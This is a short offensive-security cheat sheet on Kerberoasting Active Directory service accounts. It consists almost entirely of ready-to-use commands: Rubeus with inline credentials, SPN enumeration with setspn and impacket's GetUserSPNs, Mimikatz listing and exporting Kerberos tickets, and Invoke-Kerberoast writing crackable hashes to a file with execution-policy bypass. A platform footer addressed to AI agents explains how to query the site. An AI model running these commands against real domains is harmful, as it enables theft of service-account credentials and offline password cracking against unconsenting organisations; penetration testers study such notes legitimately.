> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/kerberoasting.md). # Kerberoasting If an account has SPN (Service Principal Name) set. We can request that account hash and try to crack it locally For kerberos to work, times have to be within 5 minutes between attacker and victim. ## Rubeus * ``` .\rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234 /nowrap ``` ## Getting SPNs There are many ways to do it. * ``` setspn.exe -t ecorp.local -q */* powershell.exe -exec bypass -c "Import-Module .\GetUserSPNs.ps1" python3 /opt/impacket/examples/GetUserSPNs.py -request -target-domain ecorp.local ecorp/morph3:Password123@10.10.10.21 -dc-ip 10.10.10.21 ``` ## Mimikatz Listing cached tickets ``` Invoke-Mimikatz -Command '"kerberos::list"' powershell.exe -c "klist" powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'" ``` ## Extracting tickets ``` Invoke-Mimikatz -Command '"kerberos::list /export"' ``` ## Invoke-Kerberoast This powershell script is always my go to. It works pretty fine * ``` powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat" ``` ``` powershell.exe -ep bypass -nop Import-Module .\Invoke-Kerberoast.ps1 Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerberoast.txt ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://notes.morph3.blog/windows/kerberoasting.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.